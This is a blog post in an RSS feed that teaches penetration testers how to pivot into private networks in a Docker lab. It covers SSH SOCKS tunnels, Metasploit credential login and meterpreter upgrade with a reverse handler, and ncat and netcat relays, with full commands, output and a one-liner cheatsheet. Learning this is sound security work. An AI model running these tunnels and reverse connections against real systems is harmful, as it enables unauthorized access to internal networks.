<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pivot Archives - Tech Chronicles</title>
	<atom:link href="http://kostacipo.stream/tag/pivot/feed/" rel="self" type="application/rss+xml" />
	<link>https://kostacipo.stream/tag/pivot/</link>
	<description>Ramblings of a Tech Dude</description>
	<lastBuildDate>Wed, 08 Jan 2020 10:26:59 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://kostacipo.stream/wp-content/uploads/2019/12/cropped-profile-32x32.jpg</url>
	<title>pivot Archives - Tech Chronicles</title>
	<link>https://kostacipo.stream/tag/pivot/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>A Pivot Cheatsheet for Pentesters</title>
		<link>http://kostacipo.stream/a-pivot-cheatsheet-for-pentesters/</link>
					<comments>http://kostacipo.stream/a-pivot-cheatsheet-for-pentesters/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Wed, 08 Jan 2020 10:26:59 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[pivot]]></category>
		<guid isPermaLink="false">http://www.kostacipo.stream/?p=1632</guid>

					<description><![CDATA[<p>&#160; I don&#8217;t often come get a chance to use pivot techniques, so I sometimes find myself searching for reminders about various methods and their trade offs. I put together this list of common pivot techniques I have used, along with a quick to setup docker-compose environment to get you playing with each method quickly. [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/a-pivot-cheatsheet-for-pentesters/">A Pivot Cheatsheet for Pentesters</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<p>I don&#8217;t often come get a chance to use pivot techniques, so I sometimes find myself searching for reminders about various methods and their trade offs.</p>
<p>I put together this list of common pivot techniques I have used, along with a quick to setup docker-compose environment to get you playing with each method quickly.</p>
<p>At the end of the article is a quick look cheatsheet with all the key setup commands for each pivot type.</p>
<h2 id="a-fast-pivot-environment">A Fast Pivot Environment</h2>
<p>If you want to play around with the pivots I discuss below, I put together a <a href="https://github.com/Charlie-belmer/pentest-pivot-example">simple docker environment</a> to play with. It has three machines and two networks. The machines:</p>
<ul>
<li>A gateway running SSH with access to public and private networks (like a jump host).</li>
<li>A host running WebGoat vulnerable webapp on the private network only.</li>
<li>A Metasploit image on the public network only.</li>
</ul>
<p>The SSH machine is accessible from localhost on port 20022 instead of 22, but you can also use the metasploit container for all testing.</p>
<p>You can get this environment running with docker and docker compose by checking out the repository, then running <code>docker-compose build</code> and <code>docker-compose up</code>.</p>
<h2 id="method-1-pivot-with-ssh-proxychains">Method 1: Pivot with SSH &amp; ProxyChains</h2>
<p>This method leverages SSH with dynamic port forwarding to create a socks proxy, with proxychains to help with tools that can&#8217;t use socks proxies. You can leverage this tunnel two ways:</p>
<ul>
<li>In a tool, configure a SOCKS proxy and point it to the SSH tunnel. This works great in tools that support it like Burp.</li>
<li>Run a command with proxychains, which tunnels data over the SSH proxy.</li>
</ul>
<p>This method allows mostly complete access to the target network, with few limitations, and is generally my preferred way to access gated networks. It requires the following pre-conditions to leverage:</p>
<ul>
<li>Access on target machine</li>
<li>SSH service running on target machine and reachable from the attacker machine.</li>
<li>A password compromise or writing of a public key for entry, to a user that allows remote SSH login.</li>
</ul>
<p>Non-root accounts may limit some tools from working fully (such as nmap), when creating certain types of packets are root only activities.</p>
<h3 id="setting-up-the-tunnel">Setting up the tunnel</h3>
<p>First login with SSH using dynamic port forwarding. Assuming you are using the sample environment:</p>
<pre class=" language-bash"><code class=" language-bash"><span class="token function">ssh</span> -D localhost:9000 -f -N pentester@localhost -p 20022
</code></pre>
<p>This sets up &nbsp;an SSH tunnel in the background on local port 9000.</p>
<h3 id="setup-proxychains">Setup ProxyChains</h3>
<p>In /etc/proxychains4.conf (or similar depending on version), add the following to the end of the file:</p>
<pre class=" language-conf"><code class=" language-conf">socks5 127.0.0.1 9000
</code></pre>
<h3 id="run-commands">Run Commands</h3>
<p>Here is an nmap scan of the webgoat host. Note I use the network &#8220;webgoat&#8221; because the docker-compose network sets up this dns name. You could use any normal ip range on the target network instead.</p>
<pre class=" language-bash"><code class=" language-bash">$ proxychains nmap -sV webgoat
Nmap scan report <span class="token keyword">for</span> webgoat <span class="token punctuation">(</span>224.0.0.1<span class="token punctuation">)</span>
Host is up <span class="token punctuation">(</span>0.00027s latency<span class="token punctuation">)</span>.
rDNS record <span class="token keyword">for</span> 224.0.0.1: all-systems.mcast.net
Not shown: 998 closed ports
PORT     STATE SERVICE    VERSION
8080/tcp <span class="token function">open</span>  http-proxy
9001/tcp <span class="token function">open</span>  jdbc       HSQLDB JDBC <span class="token punctuation">(</span>Network Compatibility Version 2.3.4.0<span class="token punctuation">)</span>
</code></pre>
<h2 id="method-2-pivot-with-meterpreter-and-socks-proxy">Method 2: Pivot With Meterpreter and socks proxy</h2>
<p>Some servers don&#8217;t run SSH, and I often like to leverage meterpreter once I find an initial entry vector for a variety of reasons. Similar to SSH, meterpreter can become a socks proxy, though I have generally found it less reliable than SSH. If you are using the docker compose file provided, I include a slightly modified metasploit image on the public network.</p>
<p>Unfortunately, socks4 proxies only generally support TCP protocols, and certain kinds of traffic won&#8217;t work well, so full nmap and similar tool usage may not be possible.</p>
<h3 id="setup-the-connection">Setup the connection</h3>
<p>We&#8217;ll run meterpreter over SSH for this example, but the steps would be the same for any meterpreter session once connected. The below will jump from our machine into the metasploit docker container, start metasploit, and create a meterpreter over SSH connection.</p>
<pre class=" language-bash"><code class=" language-bash"><span class="token comment"># Create a shell on the metasploit image</span>
$ docker <span class="token function">exec</span> -it pivots_metasploit_1 /bin/bash
root@3456fe097a17:/$ msfconsole
msf5 <span class="token operator">&gt;</span> use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> <span class="token keyword">set</span> RHOSTS <span class="token function">ssh</span>
RHOSTS <span class="token operator">=</span><span class="token operator">&gt;</span> <span class="token function">ssh</span>
msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> <span class="token keyword">set</span> USERNAME pentester
USERNAME <span class="token operator">=</span><span class="token operator">&gt;</span> pentester
msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> <span class="token keyword">set</span> PASSWORD letspivot
PASSWORD <span class="token operator">=</span><span class="token operator">&gt;</span> letspivot
msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> exploit

<span class="token punctuation">[</span>+<span class="token punctuation">]</span> 172.21.0.2:22 - Success: <span class="token string">'pentester:letspivot'</span> <span class="token string">''</span>
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Command shell session 1 opened <span class="token punctuation">(</span>172.21.0.3:42077 -<span class="token operator">&gt;</span> 172.21.0.2:22<span class="token punctuation">)</span> at 2019-09-19 12:50:57 +0000
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Scanned 1 of 1 hosts <span class="token punctuation">(</span>100% complete<span class="token punctuation">)</span>
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Auxiliary module execution completed

msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> sessions

Active sessions
<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">=</span>

  Id  Name  Type           Information                              Connection
  --  ----  ----           -----------                              ----------
  1         shell unknown  SSH pentester:letspivot <span class="token punctuation">(</span>172.21.0.2:22<span class="token punctuation">)</span>  172.21.0.3:42077 -<span class="token operator">&gt;</span> 172.21.0.2:22 <span class="token punctuation">(</span>172.21.0.2<span class="token punctuation">)</span>

msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> sessions -u 1
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Executing <span class="token string">'post/multi/manage/shell_to_meterpreter'</span> on session<span class="token punctuation">(</span>s<span class="token punctuation">)</span>: <span class="token punctuation">[</span>1<span class="token punctuation">]</span>

<span class="token punctuation">[</span><span class="token operator">!</span><span class="token punctuation">]</span> SESSION may not be compatible with this module.
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Upgrading session ID: 1
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Starting exploit/multi/handler
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Started reverse TCP handler on 172.21.0.3:4433 
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Sending stage <span class="token punctuation">(</span>985320 bytes<span class="token punctuation">)</span> to 172.21.0.2
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Meterpreter session 2 opened <span class="token punctuation">(</span>172.21.0.3:4433 -<span class="token operator">&gt;</span> 172.21.0.2:57642<span class="token punctuation">)</span> at 2019-09-19 12:51:09 +0000
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Command stager progress: 100.00% <span class="token punctuation">(</span>773/773 bytes<span class="token punctuation">)</span>
msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> sessions

Active sessions
<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">=</span>

  Id  Name  Type                   Information                                            Connection
  --  ----  ----                   -----------                                            ----------
  1         shell unknown          SSH pentester:letspivot <span class="token punctuation">(</span>172.21.0.2:22<span class="token punctuation">)</span>                172.21.0.3:42077 -<span class="token operator">&gt;</span> 172.21.0.2:22 <span class="token punctuation">(</span>172.21.0.2<span class="token punctuation">)</span>
  2         meterpreter x86/linux  uid<span class="token operator">=</span>1000, gid<span class="token operator">=</span>1000, euid<span class="token operator">=</span>1000, egid<span class="token operator">=</span>1000 @ 172.20.0.2  172.21.0.3:4433 -<span class="token operator">&gt;</span> 172.21.0.2:57642 <span class="token punctuation">(</span>172.21.0.2<span class="token punctuation">)</span>
</code></pre>
<p>One slight complication with the docker setup I am showing is the networking. I have setup two internal docker networks, public and private, which in my examples are 172.20.0.0/24 (private) and 172.21.0.0/24 (public). Normally you would use the meterpreter session to enumerate network access, but I am going to skip that here and just setup a proxy to the private network.</p>
<h3 id="setup-and-run-a-socks-proxy-over-meterpreter">Setup and run a socks proxy over meterpreter</h3>
<p>Here we add a route to the private network and setup a socks proxy. I change the meterpreter port to the default proxychains port, but you could also use the default port and update /etc/proxychains.conf with the new route if desired.</p>
<pre class=" language-bash"><code class=" language-bash"><span class="token comment"># In Metasploit</span>
msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> route add 172.20.0.0/24 2
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Route added
msf5 auxiliary<span class="token punctuation">(</span>scanner/ssh/ssh_login<span class="token punctuation">)</span> <span class="token operator">&gt;</span> use auxiliary/server/socks4a
msf5 auxiliary<span class="token punctuation">(</span>server/socks4a<span class="token punctuation">)</span> <span class="token operator">&gt;</span> <span class="token keyword">set</span> SRVPORT 9050
SRVPORT <span class="token operator">=</span><span class="token operator">&gt;</span> 9050
msf5 auxiliary<span class="token punctuation">(</span>server/socks4a<span class="token punctuation">)</span> <span class="token operator">&gt;</span> run -j
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Auxiliary module running as background job 3.

<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Starting the socks4a proxy server
msf5 auxiliary<span class="token punctuation">(</span>server/socks4a<span class="token punctuation">)</span> <span class="token operator">&gt;</span> 

<span class="token comment">### Now in a separate command window, I will create a new session</span>
<span class="token comment">### on the meterpreter container to use nmap and proxychains</span>
$ docker <span class="token function">exec</span> -it pivots_metasploit_1 /bin/bash
root@ffd95ec9ce94:/$ proxychains nmap -sT -P0 -p8080,9001 172.20.0.3
ProxyChains-3.1 <span class="token punctuation">(</span>http://proxychains.sf.net<span class="token punctuation">)</span>

Starting Nmap 7.60 <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at 2019-09-19 13:08 UTC
<span class="token operator">|</span>S-chain<span class="token operator">|</span>-<span class="token operator">&lt;</span><span class="token operator">&gt;</span>-127.0.0.1:9050-<span class="token operator">&lt;</span><span class="token operator">&gt;</span><span class="token operator">&lt;</span><span class="token operator">&gt;</span>-172.20.0.3:8080-<span class="token operator">&lt;</span><span class="token operator">&gt;</span><span class="token operator">&lt;</span><span class="token operator">&gt;</span>-OK
<span class="token operator">|</span>S-chain<span class="token operator">|</span>-<span class="token operator">&lt;</span><span class="token operator">&gt;</span>-127.0.0.1:9050-<span class="token operator">&lt;</span><span class="token operator">&gt;</span><span class="token operator">&lt;</span><span class="token operator">&gt;</span>-172.20.0.3:9001-<span class="token operator">&lt;</span><span class="token operator">&gt;</span><span class="token operator">&lt;</span><span class="token operator">&gt;</span>-OK
Nmap scan report <span class="token keyword">for</span> 172.20.0.3
Host is up <span class="token punctuation">(</span>0.0025s latency<span class="token punctuation">)</span>.

PORT     STATE SERVICE
8080/tcp <span class="token function">open</span>  http-proxy
9001/tcp <span class="token function">open</span>  tor-orport

Nmap done: 1 IP address <span class="token punctuation">(</span>1 <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> 0.11 seconds

</code></pre>
<p>We have a scan! Note that only a limited number of port scan types work with this method (mostly Syn scans) and I find it tends to be quite slow, so it pays to limit the range of IP&#8217;s and ports.</p>
<h2 id="method-3-pivot-over-a-ncat-or-netcat-relay">Method 3: Pivot over a Ncat or Netcat relay</h2>
<p>If ncat or netcat are installed on the target (they are usually removed during hardening on modern systems), or if you install it yourself on the target, it can be used to setup a tunnel.</p>
<p>Ncat is a good proxy tool from the nmap project, but netcat relays are the least reliable method mentioned here. They may work only for a single request before having to be re-established (or establishing them in a loop on the target machine), and will not work on more than a single port. However, sometimes netcat is all you can use.</p>
<h3 id="tunnel-as-http-proxy-with-ncat">Tunnel as http proxy with ncat</h3>
<p>ncat can be setup as an http proxy which can be used similar to a socks proxy. Just run the ncat proxy on the target machine, and update the local proxychains config to use an http proxy.</p>
<p>Unfortunately, ncat is almost never going to be installed by default on a target machine, unless someone has also installed nmap there.</p>
<pre class=" language-bash"><code class=" language-bash"><span class="token comment">## Target machine - setup ncat listener </span>
pentester@47ab62bc2f3d:~$ ncat -vv --listen 3128 --proxy-type http
Ncat: Version 7.60 <span class="token punctuation">(</span> https://nmap.org/ncat <span class="token punctuation">)</span>
Ncat: Listening on :::3128
Ncat: Listening on 0.0.0.0:3128

<span class="token comment">## attacker machine (metasploit)</span>
root@12f888991729:/$ <span class="token function">tail</span> /etc/proxychains.conf -n 3
<span class="token comment"># defaults set to "tor"</span>
<span class="token comment">#socks4 	127.0.0.1 9050</span>
http 172.21.0.3  3128 <span class="token comment"># 172.21.0.3 is the IP of my ssh machine</span>

root@12f888991729:/$ proxychains nmap -sT -P0 -p8080,9001 172.20.0.2
ProxyChains-3.1 <span class="token punctuation">(</span>http://proxychains.sf.net<span class="token punctuation">)</span>

Starting Nmap 7.60 <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at 2019-09-19 14:26 UTC
<span class="token operator">|</span>S-chain<span class="token operator">|</span>-<span class="token operator">&lt;</span><span class="token operator">&gt;</span>-172.21.0.3:3128-<span class="token operator">&lt;</span><span class="token operator">&gt;</span><span class="token operator">&lt;</span><span class="token operator">&gt;</span>-172.20.0.2:8080-<span class="token operator">&lt;</span><span class="token operator">&gt;</span><span class="token operator">&lt;</span><span class="token operator">&gt;</span>-OK
<span class="token operator">|</span>S-chain<span class="token operator">|</span>-<span class="token operator">&lt;</span><span class="token operator">&gt;</span>-172.21.0.3:3128-<span class="token operator">&lt;</span><span class="token operator">&gt;</span><span class="token operator">&lt;</span><span class="token operator">&gt;</span>-172.20.0.2:9001-<span class="token operator">&lt;</span><span class="token operator">&gt;</span><span class="token operator">&lt;</span><span class="token operator">&gt;</span>-OK
Nmap scan report <span class="token keyword">for</span> 172.20.0.2
Host is up <span class="token punctuation">(</span>0.00057s latency<span class="token punctuation">)</span>.

PORT     STATE SERVICE
8080/tcp <span class="token function">open</span>  http-proxy
9001/tcp <span class="token function">open</span>  tor-orport

Nmap done: 1 IP address <span class="token punctuation">(</span>1 <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> 0.08 seconds</code></pre>
<h3 id="reverse-tunnel-a-single-port-with-ncat">Reverse tunnel a single port with ncat</h3>
<p>ncat can also be used to tunnel a single port. In this case, we are using a reverse reach back to connect from target -&gt; attacker. This may be required with some network setups that block incoming connections but allow outgoing.</p>
<pre class=" language-bash"><code class=" language-bash"><span class="token comment"># On attacker / metasploit machine</span>
$ docker <span class="token function">exec</span> -it pivots_metasploit_1 /bin/bash
root@12f888991729:/$ ncat -lv --broker -m2 8080
Ncat: Version 7.60 <span class="token punctuation">(</span> https://nmap.org/ncat <span class="token punctuation">)</span>
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: DDD9 4DF0 A7D6 3F08 DB62 51C7 4358 04C6 81BF F05A
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

<span class="token comment"># On ssh / box to pivot from</span>
$ <span class="token function">ssh</span> pentester@localhost -p 20022
pentester@localhost's password: 
pentester@47ab62bc2f3d:~$ ncat -v metasploit 8080 -c <span class="token string">"ncat -v webgoatlocal 8080"</span>
Ncat: Version 7.60 <span class="token punctuation">(</span> https://nmap.org/ncat <span class="token punctuation">)</span>
Ncat: Connected to 172.21.0.2:8080.

<span class="token comment">## Attacker machine on a separate bash session - use wget to retrieve page</span>
<span class="token comment">## I use nmap here, but I can only scan port 8080.</span>
root@12f888991729:/$ nmap -sS -P0 -p8080 localhost

Starting Nmap 7.60 <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at 2019-09-19 13:54 UTC
Nmap scan report <span class="token keyword">for</span> localhost <span class="token punctuation">(</span>127.0.0.1<span class="token punctuation">)</span>
Host is up <span class="token punctuation">(</span>0.000098s latency<span class="token punctuation">)</span>.
Other addresses <span class="token keyword">for</span> localhost <span class="token punctuation">(</span>not scanned<span class="token punctuation">)</span>: ::1

PORT     STATE SERVICE
8080/tcp <span class="token function">open</span>  http-proxy

Nmap done: 1 IP address <span class="token punctuation">(</span>1 <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> 0.35 seconds
</code></pre>
<h3 id="tunnel-with-netcat">Tunnel with netcat</h3>
<p>Netcat is similar, but the connection will close on a variety of conditions and need to be restarted, generally after a full connection, including one full HTTP request.</p>
<pre class=" language-bash"><code class=" language-bash"><span class="token comment"># Make backpipe to pass data around</span>
<span class="token function">mknod</span> pivot p
<span class="token comment"># Setup the listener on pivot machine - forward traffic the</span>
<span class="token comment"># pivot machine receives on port 8080 to the webgoat server </span>
<span class="token comment"># port 8080</span>
<span class="token function">nc</span> -l -p 8080 0<span class="token operator">&lt;</span>pivot <span class="token operator">|</span> <span class="token function">nc</span> webgoatlocal 8080 1<span class="token operator">&gt;</span>pivot

<span class="token comment">## On attacker machine (metasploit)</span>
root@12f888991729:/$ <span class="token function">wget</span> ssh:8080/WebGoat
Saving to: ‘WebGoat'
</code></pre>
<h2 id="method-4-installing-tools-on-the-target-machine">Method 4: Installing tools on the target machine</h2>
<p>If you are willing to install tools on the target machine, you could install various command line tools (or even visual desktop servers like VNC) and use the pivot box as a &#8220;new&#8221; attacker machine. This is sometimes the way to go if installing tools on such a device is allowable in the rules of engagement.</p>
<p>One additional proxy tool I will mention under this category is <a href="https://github.com/z3APA3A/3proxy">3proxy</a>, a swiss army knife of a proxy with tons of options. Unfortunately, for linux hosts you will need to build a static binary to deploy (or attempt to build on the target), so is a little less simple to get running.</p>
<h2 id="a-quick-pivot-cheatsheet">A Quick Pivot CheatSheet</h2>
<p>All of these methods are potentially limited by the permissions on the proxy host &#8211; non-root users for instance cannot perform certain types of scans over the proxy.</p>
<h2 id="ssh-pivot">SSH pivot</h2>
<pre class=" language-bash"><code class=" language-bash"><span class="token function">ssh</span> -D localhost:<span class="token operator">&lt;</span>local_proxy_port<span class="token operator">&gt;</span> -f -N <span class="token operator">&lt;</span>user<span class="token operator">&gt;</span>@<span class="token operator">&lt;</span>machine_to_pivot<span class="token operator">&gt;</span>
</code></pre>
<h2 id="metasploit-with-meterpreter">Metasploit with Meterpreter</h2>
<pre class=" language-bash"><code class=" language-bash">msf5 <span class="token operator">&gt;</span>route add <span class="token operator">&lt;</span>network_to_proxy_in_CIDR_notation<span class="token operator">&gt;</span> <span class="token operator">&lt;</span>meterpreter_session_id<span class="token operator">&gt;</span>
<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Route added
msf5 <span class="token operator">&gt;</span> use auxiliary/server/socks4a
msf5 auxiliary<span class="token punctuation">(</span>server/socks4a<span class="token punctuation">)</span> <span class="token operator">&gt;</span> <span class="token keyword">set</span> SRVPORT 9050
SRVPORT <span class="token operator">=</span><span class="token operator">&gt;</span> 9050
msf5 auxiliary<span class="token punctuation">(</span>server/socks4a<span class="token punctuation">)</span> <span class="token operator">&gt;</span> run -j
</code></pre>
<h2 id="ncat-http-proxy">Ncat HTTP proxy</h2>
<pre class=" language-bash"><code class=" language-bash">$ ncat -vv --listen 3128 --proxy-type http
</code></pre>
<h2 id="ncat-port-forwarder">Ncat Port Forwarder</h2>
<p>On attacker machine:</p>
<pre class=" language-bash"><code class=" language-bash">$ ncat -lv --broker -m2 <span class="token operator">&lt;</span>port<span class="token operator">&gt;</span>
</code></pre>
<p>On pivot machine:</p>
<pre class=" language-bash"><code class=" language-bash">$ ncat -v <span class="token operator">&lt;</span>attacker_ip<span class="token operator">&gt;</span> <span class="token operator">&lt;</span>attacker_port<span class="token operator">&gt;</span> -c <span class="token string">"ncat -v &lt;host_to_pivot_to&gt; &lt;port_on_final_target"</span>
</code></pre>
<h2 id="netcat-port-forwarder">Netcat Port Forwarder</h2>
<p>On pivot machine:</p>
<pre class=" language-bash"><code class=" language-bash"><span class="token function">mknod</span> pivot p
<span class="token function">nc</span> -l -p <span class="token operator">&lt;</span>port_to_listen_on<span class="token operator">&gt;</span> 0<span class="token operator">&lt;</span>pivot <span class="token operator">|</span> <span class="token function">nc</span> <span class="token operator">&lt;</span>ip_to_pivot_to<span class="token operator">&gt;</span> <span class="token operator">&lt;</span>port_to_pivot_to<span class="token operator">&gt;</span> 1<span class="token operator">&gt;</span>pivot
</code></pre>
<h2 id="proxychains-setup">Proxychains Setup</h2>
<p>Install and configure proxychains</p>
<pre class=" language-bash"><code class=" language-bash"><span class="token function">tail</span> /etc/proxychains.conf
<span class="token comment">#socks4 	127.0.0.1 9050</span>
http 172.21.0.3  3128
<span class="token comment">#&lt;type: http/socks4/socks5&gt; &lt;proxy_host&gt; &lt;proxy_port&gt;</span>
</code></pre>
<h1 id="conclusions">Conclusions</h1>
<p>Pivoting is important to know when pentesting networks that have private components, and these techniques are an important consideration when designing network topology. Watching externally facing hosts and jump boxes for pivot techniques is one way to halt attackers at an earlier stage.</p>
<p>The post <a href="http://kostacipo.stream/a-pivot-cheatsheet-for-pentesters/">A Pivot Cheatsheet for Pentesters</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/a-pivot-cheatsheet-for-pentesters/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
